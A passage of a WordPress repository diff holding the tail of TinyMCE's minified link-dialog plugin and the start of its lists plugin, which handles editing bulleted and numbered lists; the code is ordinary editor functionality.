i(t,e||[])},q=function(e,t,n){var o=e.selection.getRng();U.setEditorTimeout(e,function(){e.windowManager.confirm(t,function(t){e.selection.setRng(o),n(t)})})},V=function(a,t){var e,l,o,u,n,i,r,c,s,f,d,m={},v=a.selection,g=a.dom,h=function(t){var e=o.find("#text");(!e.value()||t.lastControl&&e.value()===t.lastControl.text())&&e.value(t.control.text()),o.find("#href").value(t.control.value())},x=function(){l||!u||m.text||this.parent().parent().find("#text")[0].value(this.value())};u=E(v.getContent()),e=S(a),m.text=l=I(a.selection,e),m.href=e?g.getAttrib(e,"href"):"",e?m.target=g.getAttrib(e,"target"):k(a.settings)&&(m.target=y(a.settings)),(d=g.getAttrib(e,"rel"))&&(m.rel=d),(d=g.getAttrib(e,"class"))&&(m["class"]=d),(d=g.getAttrib(e,"title"))&&(m.title=d),u&&(n={name:"text",type:"textbox",size:40,label:"Text to display",onchange:function(){m.text=this.value()}}),t&&(i={type:"listbox",label:"Link list",values:F(t,function(t){t.value=a.convertURL(t.value||t.url,"href")},[{text:"None",value:""}]),onselect:h,value:a.convertURL(m.href,"href"),onPostRender:function(){i=this}}),w(a.settings)&&(b(a.settings)===undefined&&_(a,[{text:"None",value:""},{text:"New window",value:"_blank"}]),c={name:"target",type:"listbox",label:"Target",values:F(b(a.settings))}),C(a.settings)&&(r={name:"rel",type:"listbox",label:"Rel",values:F(T(a.settings),function(t){!1===N(a.settings)&&(t.value=K(t.value,"_blank"===m.target))})}),O(a.settings)&&(s={name:"class",type:"listbox",label:"Class",values:F(M(a.settings),function(t){t.value&&(t.textStyle=function(){return a.formatter.getCssText({inline:"a",classes:[t.value]})})})}),R(a.settings)&&(f={name:"title",type:"textbox",label:"Title",value:m.title}),o=a.windowManager.open({title:"Insert link",data:m,body:[{name:"href",type:"filepicker",filetype:"file",size:40,autofocus:!0,label:"Url",onchange:function(t){var e=t.meta||{};i&&i.value(a.convertURL(this.value(),"href")),A.each(t.meta,function(t,e){var n=o.find("#"+e);"text"===e?0===l.length&&(n.value(t),m.text=t):n.value(t)}),e.attach&&(B={href:this.value(),attach:e.attach}),e.text||x.call(this)},onkeyup:x,onpaste:x,onbeforecall:function(t){t.meta=o.toJSON()}},n,f,function(n){var o=[];if(A.each(a.dom.select("a:not([href])"),function(t){var e=t.name||t.id;e&&o.push({text:e,value:"#"+e,selected:-1!==n.indexOf("#"+e)})}),o.length)return o.unshift({text:"None",value:""}),{name:"anchor",type:"listbox",label:"Anchors",values:o,onselect:h}}(m.href),i,r,c,s],onSubmit:function(t){var e=p(a.settings),n=L(a,B),o=P(a),i=A.extend({},m,t.data),r=i.href;r?(u&&i.text!==l||delete i.text,0<r.indexOf("@")&&-1===r.indexOf("//")&&-1===r.indexOf("mailto:")?q(a,"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",function(t){t&&(i.href="mailto:"+r),n(i)}):!0===e&&!/^\w+:/i.test(r)||!1===e&&/^\s*www[\.|\d\.]/i.test(r)?q(a,"The URL you entered seems to be an external link. Do you want to add the required http:// prefix?",function(t){t&&(i.href="http://"+r),n(i)}):n(i)):o()}})},z=function(t){var e,n,o;n=V,"string"==typeof(o=r((e=t).settings))?D.send({url:o,success:function(t){n(e,JSON.parse(t))}}):"function"==typeof o?o(function(t){n(e,t)}):n(e,o)},H=function(t,e){return t.dom.getParent(e,"a[href]")},J=function(t){return H(t,t.selection.getStart())},$=function(t,e){if(e){var n=(i=e).getAttribute("data-mce-href")||i.getAttribute("href");if(/^#/.test(n)){var o=t.$(n);o.length&&t.selection.scrollIntoView(o[0],!0)}else c(e.href)}var i},j=function(t){return function(){z(t)}},G=function(t){return function(){$(t,J(t))}},X=function(r){return function(t){var e,n,o,i;return!!(a(r.settings)&&(!(i=r.plugins.contextmenu)||!i.isContextMenuVisible())&&h(t)&&3===(o=(n=(e=r.selection).getRng()).startContainer).nodeType&&e.isCollapsed()&&0<n.startOffset&&n.startOffset<o.data.length)}},Q=function(o){o.on("click",function(t){var e=H(o,t.target);e&&n.metaKeyPressed(t)&&(t.preventDefault(),$(o,e))}),o.on("keydown",function(t){var e,n=J(o);n&&13===t.keyCode&&!0===(e=t).altKey&&!1===e.shiftKey&&!1===e.ctrlKey&&!1===e.metaKey&&(t.preventDefault(),$(o,n))})},W=function(n){return function(){var e=this;n.on("nodechange",function(t){e.active(!n.readonly&&!!S(n,t.element))})}},Y=function(n){return function(){var e=this,t=function(t){x(t.parents)?e.show():e.hide()};x(n.dom.getParents(n.selection.getStart()))||e.hide(),n.on("nodechange",t),e.on("remove",function(){n.off("nodechange",t)})}},Z=function(t){t.addCommand("mceLink",j(t))},tt=function(t){t.addShortcut("Meta+K","",j(t))},et=function(t){t.addButton("link",{active:!1,icon:"link",tooltip:"Insert/edit link",onclick:j(t),onpostrender:W(t)}),t.addButton("unlink",{active:!1,icon:"unlink",tooltip:"Remove link",onclick:P(t),onpostrender:W(t)}),t.addContextToolbar&&t.addButton("openlink",{icon:"newtab",tooltip:"Open link",onclick:G(t)})},nt=function(t){t.addMenuItem("openlink",{text:"Open link",icon:"newtab",onclick:G(t),onPostRender:Y(t),prependToContext:!0}),t.addMenuItem("link",{icon:"link",text:"Link",shortcut:"Meta+K",onclick:j(t),stateSelector:"a[href]",context:"insert",prependToContext:!0}),t.addMenuItem("unlink",{icon:"unlink",text:"Remove link",onclick:P(t),stateSelector:"a[href]"})},ot=function(t){t.addContextToolbar&&t.addContextToolbar(X(t),"openlink | link unlink")};t.add("link",function(t){et(t),nt(t),ot(t),Q(t),Z(t),tt(t)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/lists/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/lists/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/lists/plugin.js	(revision 56912)
@@ -0,0 +1,1114 @@
+(function () {
+var lists = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils');
+
+  var global$2 = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker');
+
+  var global$3 = tinymce.util.Tools.resolve('tinymce.util.VK');
+
+  var global$4 = tinymce.util.Tools.resolve('tinymce.dom.BookmarkManager');
+
+  var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var global$6 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
+
+  var isTextNode = function (node) {
+    return node && node.nodeType === 3;
+  };
+  var isListNode = function (node) {
+    return node && /^(OL|UL|DL)$/.test(node.nodeName);
+  };
+  var isListItemNode = function (node) {
+    return node && /^(LI|DT|DD)$/.test(node.nodeName);
+  };
+  var isTableCellNode = function (node) {
+    return node && /^(TH|TD)$/.test(node.nodeName);
+  };
+  var isBr = function (node) {
+    return node && node.nodeName === 'BR';
+  };
+  var isFirstChild = function (node) {
+    return node.parentNode.firstChild === node;
+  };
+  var isLastChild = function (node) {
+    return node.parentNode.lastChild === node;
+  };
+  var isTextBlock = function (editor, node) {
+    return node && !!editor.schema.getTextBlockElements()[node.nodeName];
+  };
+  var isBlock = function (node, blockElements) {
+    return node && node.nodeName in blockElements;
+  };
+  var isBogusBr = function (dom, node) {
+    if (!isBr(node)) {
+      return false;
+    }
+    if (dom.isBlock(node.nextSibling) && !isBr(node.previousSibling)) {
+      return true;
+    }
+    return false;
+  };
+  var isEmpty = function (dom, elm, keepBookmarks) {
+    var empty = dom.isEmpty(elm);
+    if (keepBookmarks && dom.select('span[data-mce-type=bookmark]', elm).length > 0) {
+      return false;
+    }
+    return empty;
+  };
+  var isChildOfBody = function (dom, elm) {
+    return dom.isChildOf(elm, dom.getRoot());
+  };
+  var $_okk1ogljjgweckx = {
+    isTextNode: isTextNode,
+    isListNode: isListNode,
+    isListItemNode: isListItemNode,
+    isTableCellNode: isTableCellNode,
+    isBr: isBr,
+    isFirstChild: isFirstChild,
+    isLastChild: isLastChild,
+    isTextBlock: isTextBlock,
+    isBlock: isBlock,
+    isBogusBr: isBogusBr,
+    isEmpty: isEmpty,
+    isChildOfBody: isChildOfBody
+  };
+
+  var getNormalizedEndPoint = function (container, offset) {
+    var node = global$1.getNode(container, offset);
+    if ($_okk1ogljjgweckx.isListItemNode(container) && $_okk1ogljjgweckx.isTextNode(node)) {
+      var textNodeOffset = offset >= container.childNodes.length ? node.data.length : 0;
+      return {
+        container: node,
+        offset: textNodeOffset
+      };
+    }
+    return {
+      container: container,
+      offset: offset
+    };
+  };
+  var normalizeRange = function (rng) {
+    var outRng = rng.cloneRange();
+    var rangeStart = getNormalizedEndPoint(rng.startContainer, rng.startOffset);
+    outRng.setStart(rangeStart.container, rangeStart.offset);
+    var rangeEnd = getNormalizedEndPoint(rng.endContainer, rng.endOffset);
+    outRng.setEnd(rangeEnd.container, rangeEnd.offset);
+    return outRng;
+  };
+  var $_a9cyhvgkjjgweckv = {
+    getNormalizedEndPoint: getNormalizedEndPoint,
+    normalizeRange: normalizeRange
+  };
+
+  var DOM = global$6.DOM;
+  var createBookmark = function (rng) {
+    var bookmark = {};
+    var setupEndPoint = function (start) {
+      var offsetNode, container, offset;
+      container = rng[start ? 'startContainer' : 'endContainer'];
+      offset = rng[start ? 'startOffset' : 'endOffset'];
+      if (container.nodeType === 1) {
+        offsetNode = DOM.create('span', { 'data-mce-type': 'bookmark' });
+        if (container.hasChildNodes()) {
+          offset = Math.min(offset, container.childNodes.length - 1);
+          if (start) {
+            container.insertBefore(offsetNode, container.childNodes[offset]);
+          } else {
+            DOM.insertAfter(offsetNode, container.childNodes[offset]);
+          }
+        } else {
+          container.appendChild(offsetNode);
+        }
+        container = offsetNode;
+        offset = 0;
+      }
+      bookmark[start ? 'startContainer' : 'endContainer'] = container;
+      bookmark[start ? 'startOffset' : 'endOffset'] = offset;
+    };
+    setupEndPoint(true);
+    if (!rng.collapsed) {
+      setupEndPoint();
+    }
+    return bookmark;
+  };
+  var resolveBookmark = function (bookmark) {
+    function restoreEndPoint(start) {
+      var container, offset, node;
+      var nodeIndex = function (container) {
+        var node = container.parentNode.firstChild, idx = 0;
+        while (node) {
+          if (node === container) {
+            return idx;
+          }
+          if (node.nodeType !== 1 || node.getAttribute('data-mce-type') !== 'bookmark') {
+            idx++;
+          }
+          node = node.nextSibling;
+        }
+        return -1;
+      };
+      container = node = bookmark[start ? 'startContainer' : 'endContainer'];
+      offset = bookmark[start ? 'startOffset' : 'endOffset'];
+      if (!container) {
+        return;
+      }
+      if (container.nodeType === 1) {
+        offset = nodeIndex(container);
+        container = container.parentNode;
+        DOM.remove(node);
+        if (!container.hasChildNodes() && DOM.isBlock(container)) {
+          container.appendChild(DOM.create('br'));
+        }
+      }
+      bookmark[start ? 'startContainer' : 'endContainer'] = container;
+      bookmark[start ? 'startOffset' : 'endOffset'] = offset;
+    }
+    restoreEndPoint(true);
+    restoreEndPoint();
+    var rng = DOM.createRng();
+    rng.setStart(bookmark.startContainer, bookmark.startOffset);
+    if (bookmark.endContainer) {
+      rng.setEnd(bookmark.endContainer, bookmark.endOffset);
+    }
+    return $_a9cyhvgkjjgweckv.normalizeRange(rng);
+  };
+  var $_2nx1i4gjjjgweckt = {
+    createBookmark: createBookmark,
+    resolveBookmark: resolveBookmark
+  };
+
+  var DOM$1 = global$6.DOM;
+  var normalizeList = function (dom, ul) {
+    var sibling;
+    var parentNode = ul.parentNode;
+    if (parentNode.nodeName === 'LI' && parentNode.firstChild === ul) {
+      sibling = parentNode.previousSibling;
+      if (sibling && sibling.nodeName === 'LI') {
+        sibling.appendChild(ul);
+        if ($_okk1ogljjgweckx.isEmpty(dom, parentNode)) {
+          DOM$1.remove(parentNode);
+        }
+      } else {
+        DOM$1.setStyle(parentNode, 'listStyleType', 'none');
+      }
+    }
+    if ($_okk1ogljjgweckx.isListNode(parentNode)) {
+      sibling = parentNode.previousSibling;
+      if (sibling && sibling.nodeName === 'LI') {
+        sibling.appendChild(ul);
+      }
+    }
+  };
+  var normalizeLists = function (dom, element) {
+    global$5.each(global$5.grep(dom.select('ol,ul', element)), function (ul) {
+      normalizeList(dom, ul);
+    });
+  };
+  var $_ekd4wzgmjjgwecl1 = {
+    normalizeList: normalizeList,
+    normalizeLists: normalizeLists
+  };
+
+  var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery');
+
+  var getParentList = function (editor) {
+    var selectionStart = editor.selection.getStart(true);
+    return editor.dom.getParent(selectionStart, 'OL,UL,DL', getClosestListRootElm(editor, selectionStart));
+  };
+  var isParentListSelected = function (parentList, selectedBlocks) {
+    return parentList && selectedBlocks.length === 1 && selectedBlocks[0] === parentList;
+  };
+  var findSubLists = function (parentList) {
+    return global$5.grep(parentList.querySelectorAll('ol,ul,dl'), function (elm) {
+      return $_okk1ogljjgweckx.isListNode(elm);
+    });
+  };
+  var getSelectedSubLists = function (editor) {
+    var parentList = getParentList(editor);
+    var selectedBlocks = editor.selection.getSelectedBlocks();
+    if (isParentListSelected(parentList, selectedBlocks)) {
+      return findSubLists(parentList);
+    } else {
+      return global$5.grep(selectedBlocks, function (elm) {
+        return $_okk1ogljjgweckx.isListNode(elm) && parentList !== elm;
+      });
+    }
+  };
+  var findParentListItemsNodes = function (editor, elms) {
+    var listItemsElms = global$5.map(elms, function (elm) {
+      var parentLi = editor.dom.getParent(elm, 'li,dd,dt', getClosestListRootElm(editor, elm));
+      return parentLi ? parentLi : elm;
+    });
+    return global$7.unique(listItemsElms);
+  };
+  var getSelectedListItems = function (editor) {
+    var selectedBlocks = editor.selection.getSelectedBlocks();
+    return global$5.grep(findParentListItemsNodes(editor, selectedBlocks), function (block) {
+      return $_okk1ogljjgweckx.isListItemNode(block);
+    });
+  };
+  var getClosestListRootElm = function (editor, elm) {
+    var parentTableCell = editor.dom.getParents(elm, 'TD,TH');
+    var root = parentTableCell.length > 0 ? parentTableCell[0] : editor.getBody();
+    return root;
+  };
+  var $_3xb1cggnjjgwecl3 = {
+    getParentList: getParentList,
+    getSelectedSubLists: getSelectedSubLists,
+    getSelectedListItems: getSelectedListItems,
+    getClosestListRootElm: getClosestListRootElm
+  };
+
+  var global$8 = tinymce.util.Tools.resolve('tinymce.Env');
+
+  var DOM$2 = global$6.DOM;
+  var createNewTextBlock = function (editor, contentNode, blockName) {
+    var node, textBlock;
+    var fragment = DOM$2.createFragment();
+    var hasContentNode;
+    var blockElements = editor.schema.getBlockElements();
+    if (editor.settings.forced_root_block) {
+      blockName = blockName || editor.settings.forced_root_block;
+    }
+    if (blockName) {
+      textBlock = DOM$2.create(blockName);
+      if (textBlock.tagName === editor.settings.forced_root_block) {
+        DOM$2.setAttribs(textBlock, editor.settings.forced_root_block_attrs);
+      }
+      if (!$_okk1ogljjgweckx.isBlock(contentNode.firstChild, blockElements)) {
+        fragment.appendChild(textBlock);
+      }
+    }
+    if (contentNode) {
+      while (node = contentNode.firstChild) {
+        var nodeName = node.nodeName;
+        if (!hasContentNode && (nodeName !== 'SPAN' || node.getAttribute('data-mce-type') !== 'bookmark')) {
+          hasContentNode = true;
+        }
+        if ($_okk1ogljjgweckx.isBlock(node, blockElements)) {
+          fragment.appendChild(node);
+          textBlock = null;
+        } else {
+          if (blockName) {
+            if (!textBlock) {
+              textBlock = DOM$2.create(blockName);
+              fragment.appendChild(textBlock);
+            }
+            textBlock.appendChild(node);
+          } else {
+            fragment.appendChild(node);
+          }
+        }
+      }
+    }
+    if (!editor.settings.forced_root_block) {
+      fragment.appendChild(DOM$2.create('br'));
+    } else {
+      if (!hasContentNode && (!global$8.ie || global$8.ie > 10)) {
+        textBlock.appendChild(DOM$2.create('br', { 'data-mce-bogus': '1' }));
+      }
+    }
+    return fragment;
+  };
+  var $_kbc02gqjjgwecl9 = { createNewTextBlock: createNewTextBlock };
+
+  var DOM$3 = global$6.DOM;
+  var splitList = function (editor, ul, li, newBlock) {
+    var tmpRng, fragment, bookmarks, node;
+    var removeAndKeepBookmarks = function (targetNode) {
+      global$5.each(bookmarks, function (node) {
+        targetNode.parentNode.insertBefore(node, li.parentNode);
+      });
+      DOM$3.remove(targetNode);
+    };
+    bookmarks = DOM$3.select('span[data-mce-type="bookmark"]', ul);
+    newBlock = newBlock || $_kbc02gqjjgwecl9.createNewTextBlock(editor, li);
+    tmpRng = DOM$3.createRng();
+    tmpRng.setStartAfter(li);
+    tmpRng.setEndAfter(ul);
+    fragment = tmpRng.extractContents();
+    for (node = fragment.firstChild; node; node = node.firstChild) {
+      if (node.nodeName === 'LI' && editor.dom.isEmpty(node)) {
+        DOM$3.remove(node);
+        break;
+      }
+    }
+    if (!editor.dom.isEmpty(fragment)) {
+      DOM$3.insertAfter(fragment, ul);
+    }
+    DOM$3.insertAfter(newBlock, ul);
+    if ($_okk1ogljjgweckx.isEmpty(editor.dom, li.parentNode)) {
+      removeAndKeepBookmarks(li.parentNode);
+    }
+    DOM$3.remove(li);
+    if ($_okk1ogljjgweckx.isEmpty(editor.dom, ul)) {
+      DOM$3.remove(ul);
+    }
+  };
+  var $_fikiq7gpjjgwecl5 = { splitList: splitList };
+
+  var DOM$4 = global$6.DOM;
+  var removeEmptyLi = function (dom, li) {
+    if ($_okk1ogljjgweckx.isEmpty(dom, li)) {
+      DOM$4.remove(li);
+    }
+  };
+  var outdent = function (editor, li) {
+    var ul = li.parentNode;
+    var ulParent, newBlock;
+    if (ul) {
+      ulParent = ul.parentNode;
+    } else {
+      removeEmptyLi(editor.dom, li);
+      return true;
+    }
+    if (ul === editor.getBody()) {
+      return true;
+    }
+    if (li.nodeName === 'DD') {
+      DOM$4.rename(li, 'DT');
+      return true;
+    }
+    if ($_okk1ogljjgweckx.isFirstChild(li) && $_okk1ogljjgweckx.isLastChild(li)) {
+      if (ulParent.nodeName === 'LI') {
+        DOM$4.insertAfter(li, ulParent);
+        removeEmptyLi(editor.dom, ulParent);
+        DOM$4.remove(ul);
+      } else if ($_okk1ogljjgweckx.isListNode(ulParent)) {
+        DOM$4.remove(ul, true);
+      } else {
+        ulParent.insertBefore($_kbc02gqjjgwecl9.createNewTextBlock(editor, li), ul);
+        DOM$4.remove(ul);
+      }
+      return true;
+    } else if ($_okk1ogljjgweckx.isFirstChild(li)) {
+      if (ulParent.nodeName === 'LI') {
+        DOM$4.insertAfter(li, ulParent);
+        li.appendChild(ul);
+        removeEmptyLi(editor.dom, ulParent);
+      } else if ($_okk1ogljjgweckx.isListNode(ulParent)) {
+        ulParent.insertBefore(li, ul);
+      } else {
+        ulParent.insertBefore($_kbc02gqjjgwecl9.createNewTextBlock(editor, li), ul);
+        DOM$4.remove(li);
+      }
+      return true;
+    } else if ($_okk1ogljjgweckx.isLastChild(li)) {
+      if (ulParent.nodeName === 'LI') {
+        DOM$4.insertAfter(li, ulParent);
+      } else if ($_okk1ogljjgweckx.isListNode(ulParent)) {
+        DOM$4.insertAfter(li, ul);
+      } else {
+        DOM$4.insertAfter($_kbc02gqjjgwecl9.createNewTextBlock(editor, li), ul);
+        DOM$4.remove(li);
+      }
+      return true;
+    }
+    if (ulParent.nodeName === 'LI') {
+      ul = ulParent;
+      newBlock = $_kbc02gqjjgwecl9.createNewTextBlock(editor, li, 'LI');
+    } else if ($_okk1ogljjgweckx.isListNode(ulParent)) {
+      newBlock = $_kbc02gqjjgwecl9.createNewTextBlock(editor, li, 'LI');
+    } else {
+      newBlock = $_kbc02gqjjgwecl9.createNewTextBlock(editor, li);
+    }
+    $_fikiq7gpjjgwecl5.splitList(editor, ul, li, newBlock);
+    $_ekd4wzgmjjgwecl1.normalizeLists(editor.dom, ul.parentNode);
+    return true;
+  };
+  var outdentSelection = function (editor) {
+    var listElements = $_3xb1cggnjjgwecl3.getSelectedListItems(editor);
+    if (listElements.length) {
+      var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng());
+      var i = void 0, y = void 0;
+      var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, editor.selection.getStart(true));
+      i = listElements.length;
+      while (i--) {
+        var node = listElements[i].parentNode;
+        while (node && node !== root) {
+          y = listElements.length;
+          while (y--) {
+            if (listElements[y] === node) {
+              listElements.splice(i, 1);
+              break;
+            }
+          }
+          node = node.parentNode;
+        }
+      }
+      for (i = 0; i < listElements.length; i++) {
+        if (!outdent(editor, listElements[i]) && i === 0) {
+          break;
+        }
+      }
+      editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
+      editor.nodeChanged();
+      return true;
+    }
+  };
+  var $_6pbactghjjgweckp = {
+    outdent: outdent,
+    outdentSelection: outdentSelection
+  };
+
+  var updateListStyle = function (dom, el, detail) {
+    var type = detail['list-style-type'] ? detail['list-style-type'] : null;
+    dom.setStyle(el, 'list-style-type', type);
+  };
+  var setAttribs = function (elm, attrs) {
+    global$5.each(attrs, function (value, key) {
+      elm.setAttribute(key, value);
+    });
+  };
+  var updateListAttrs = function (dom, el, detail) {
+    setAttribs(el, detail['list-attributes']);
+    global$5.each(dom.select('li', el), function (li) {
+      setAttribs(li, detail['list-item-attributes']);
+    });
+  };
+  var updateListWithDetails = function (dom, el, detail) {
+    updateListStyle(dom, el, detail);
+    updateListAttrs(dom, el, detail);
+  };
+  var removeStyles = function (dom, element, styles) {
+    global$5.each(styles, function (style) {
+      var _a;
+      return dom.setStyle(element, (_a = {}, _a[style] = '', _a));
+    });
+  };
+  var getEndPointNode = function (editor, rng, start, root) {
+    var container, offset;
+    container = rng[start ? 'startContainer' : 'endContainer'];
+    offset = rng[start ? 'startOffset' : 'endOffset'];
+    if (container.nodeType === 1) {
+      container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
+    }
+    if (!start && $_okk1ogljjgweckx.isBr(container.nextSibling)) {
+      container = container.nextSibling;
+    }
+    while (container.parentNode !== root) {
+      if ($_okk1ogljjgweckx.isTextBlock(editor, container)) {
+        return container;
+      }
+      if (/^(TD|TH)$/.test(container.parentNode.nodeName)) {
+        return container;
+      }
+      container = container.parentNode;
+    }
+    return container;
+  };
+  var getSelectedTextBlocks = function (editor, rng, root) {
+    var textBlocks = [], dom = editor.dom;
+    var startNode = getEndPointNode(editor, rng, true, root);
+    var endNode = getEndPointNode(editor, rng, false, root);
+    var block;
+    var siblings = [];
+    for (var node = startNode; node; node = node.nextSibling) {
+      siblings.push(node);
+      if (node === endNode) {
+        break;
+      }
+    }
+    global$5.each(siblings, function (node) {
+      if ($_okk1ogljjgweckx.isTextBlock(editor, node)) {
+        textBlocks.push(node);
+        block = null;
+        return;
+      }
+      if (dom.isBlock(node) || $_okk1ogljjgweckx.isBr(node)) {
+        if ($_okk1ogljjgweckx.isBr(node)) {
+          dom.remove(node);
+        }
+        block = null;
+        return;
+      }
+      var nextSibling = node.nextSibling;
+      if (global$4.isBookmarkNode(node)) {
+        if ($_okk1ogljjgweckx.isTextBlock(editor, nextSibling) || !nextSibling && node.parentNode === root) {
+          block = null;
+          return;
+        }
+      }
+      if (!block) {
+        block = dom.create('p');
+        node.parentNode.insertBefore(block, node);
+        textBlocks.push(block);
+      }
+      block.appendChild(node);
+    });
+    return textBlocks;
+  };
+  var hasCompatibleStyle = function (dom, sib, detail) {
+    var sibStyle = dom.getStyle(sib, 'list-style-type');
+    var detailStyle = detail ? detail['list-style-type'] : '';
+    detailStyle = detailStyle === null ? '' : detailStyle;
+    return sibStyle === detailStyle;
+  };
+  var applyList = function (editor, listName, detail) {
+    if (detail === void 0) {
+      detail = {};
+    }
+    var rng = editor.selection.getRng(true);
+    var bookmark;
+    var listItemName = 'LI';
+    var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, editor.selection.getStart(true));
+    var dom = editor.dom;
+    if (dom.getContentEditable(editor.selection.getNode()) === 'false') {
+      return;
+    }
+    listName = listName.toUpperCase();
+    if (listName === 'DL') {
+      listItemName = 'DT';
+    }
+    bookmark = $_2nx1i4gjjjgweckt.createBookmark(rng);
+    global$5.each(getSelectedTextBlocks(editor, rng, root), function (block) {
+      var listBlock, sibling;
+      sibling = block.previousSibling;
+      if (sibling && $_okk1ogljjgweckx.isListNode(sibling) && sibling.nodeName === listName && hasCompatibleStyle(dom, sibling, detail)) {
+        listBlock = sibling;
+        block = dom.rename(block, listItemName);
+        sibling.appendChild(block);
+      } else {
+        listBlock = dom.create(listName);
+        block.parentNode.insertBefore(listBlock, block);
+        listBlock.appendChild(block);
+        block = dom.rename(block, listItemName);
+      }
+      removeStyles(dom, block, [
+        'margin',
+        'margin-right',
+        'margin-bottom',
+        'margin-left',
+        'margin-top',
+        'padding',
+        'padding-right',
+        'padding-bottom',
+        'padding-left',
+        'padding-top'
+      ]);
+      updateListWithDetails(dom, listBlock, detail);
+      mergeWithAdjacentLists(editor.dom, listBlock);
+    });
+    editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
+  };
+  var removeList = function (editor) {
+    var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng(true));
+    var root = $_3xb1cggnjjgwecl3.getClosestListRootElm(editor, editor.selection.getStart(true));
+    var listItems = $_3xb1cggnjjgwecl3.getSelectedListItems(editor);
+    var emptyListItems = global$5.grep(listItems, function (li) {
+      return editor.dom.isEmpty(li);
+    });
+    listItems = global$5.grep(listItems, function (li) {
+      return !editor.dom.isEmpty(li);
+    });
+    global$5.each(emptyListItems, function (li) {
+      if ($_okk1ogljjgweckx.isEmpty(editor.dom, li)) {
+        $_6pbactghjjgweckp.outdent(editor, li);
+        return;
+      }
+    });
+    global$5.each(listItems, function (li) {
+      var node, rootList;
+      if (li.parentNode === editor.getBody()) {
+        return;
+      }
+      for (node = li; node && node !== root; node = node.parentNode) {
+        if ($_okk1ogljjgweckx.isListNode(node)) {
+          rootList = node;
+        }
+      }
+      $_fikiq7gpjjgwecl5.splitList(editor, rootList, li);
+      $_ekd4wzgmjjgwecl1.normalizeLists(editor.dom, rootList.parentNode);
+    });
+    editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
+  };
+  var isValidLists = function (list1, list2) {
+    return list1 && list2 && $_okk1ogljjgweckx.isListNode(list1) && list1.nodeName === list2.nodeName;
+  };
+  var hasSameListStyle = function (dom, list1, list2) {
+    var targetStyle = dom.getStyle(list1, 'list-style-type', true);
+    var style = dom.getStyle(list2, 'list-style-type', true);
+    return targetStyle === style;
+  };
+  var hasSameClasses = function (elm1, elm2) {
+    return elm1.className === elm2.className;
+  };
+  var shouldMerge = function (dom, list1, list2) {
+    return isValidLists(list1, list2) && hasSameListStyle(dom, list1, list2) && hasSameClasses(list1, list2);
+  };
+  var mergeWithAdjacentLists = function (dom, listBlock) {
+    var sibling, node;
+    sibling = listBlock.nextSibling;
+    if (shouldMerge(dom, listBlock, sibling)) {
+      while (node = sibling.firstChild) {
+        listBlock.appendChild(node);
+      }
+      dom.remove(sibling);
+    }
+    sibling = listBlock.previousSibling;
+    if (shouldMerge(dom, listBlock, sibling)) {
+      while (node = sibling.lastChild) {
+        listBlock.insertBefore(node, listBlock.firstChild);
+      }
+      dom.remove(sibling);
+    }
+  };
+  var updateList = function (dom, list, listName, detail) {
+    if (list.nodeName !== listName) {
+      var newList = dom.rename(list, listName);
+      updateListWithDetails(dom, newList, detail);
+    } else {
+      updateListWithDetails(dom, list, detail);
+    }
+  };
+  var toggleMultipleLists = function (editor, parentList, lists, listName, detail) {
+    if (parentList.nodeName === listName && !hasListStyleDetail(detail)) {
+      removeList(editor);
+    } else {
+      var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng(true));
+      global$5.each([parentList].concat(lists), function (elm) {
+        updateList(editor.dom, elm, listName, detail);
+      });
+      editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
+    }
+  };
+  var hasListStyleDetail = function (detail) {
+    return 'list-style-type' in detail;
+  };
+  var toggleSingleList = function (editor, parentList, listName, detail) {
+    if (parentList === editor.getBody()) {
+      return;
+    }
+    if (parentList) {
+      if (parentList.nodeName === listName && !hasListStyleDetail(detail)) {
+        removeList(editor);
+      } else {
+        var bookmark = $_2nx1i4gjjjgweckt.createBookmark(editor.selection.getRng(true));
+        updateListWithDetails(editor.dom, parentList, detail);
+        mergeWithAdjacentLists(editor.dom, editor.dom.rename(parentList, listName));
+        editor.selection.setRng($_2nx1i4gjjjgweckt.resolveBookmark(bookmark));
+      }
+    } else {
+      applyList(editor, listName, detail);
+    }
+  };
+  var toggleList = function (editor, listName, detail) {
+    var parentList = $_3xb1cggnjjgwecl3.getParentList(editor);
+    var selectedSubLists = $_3xb1cggnjjgwecl3.getSelectedSubLists(editor);
+    detail = detail ? detail : {};
+    if (parentList && selectedSubLists.length > 0) {
+      toggleMultipleLists(editor, parentList, selectedSubLists, listName, detail);
+    } else {
+      toggleSingleList(editor, parentList, listName, detail);
+    }
+  };
+  var $_aek3i3gejjgwecki = {
+    toggleList: toggleList,
+    removeList: removeList,
+    mergeWithAdjacentLists: mergeWithAdjacentLists
+  };
+
+  var findNextCaretContainer = function (editor, rng, isForward, root) {
+    var node = rng.startContainer;
+    var offset = rng.startOffset;
+    var nonEmptyBlocks, walker;
+    if (node.nodeType === 3 && (isForward ? offset < node.data.length : offset > 0)) {
+      return node;
+    }
+    nonEmptyBlocks = editor.schema.getNonEmptyElements();
+    if (node.nodeType === 1) {
+      node = global$1.getNode(node, offset);
+    }
+    walker = new global$2(node, root);
+    if (isForward) {
+      if ($_okk1ogljjgweckx.isBogusBr(editor.dom, node)) {
+        walker.next();
+      }
+    }
+    while (node = walker[isForward ? 'next' : 'prev2']()) {
+      if (node.nodeName === 'LI' && !node.hasChildNodes()) {
+        return node;
+      }
+      if (nonEmptyBlocks[node.nodeName]) {
+        return node;
+      }
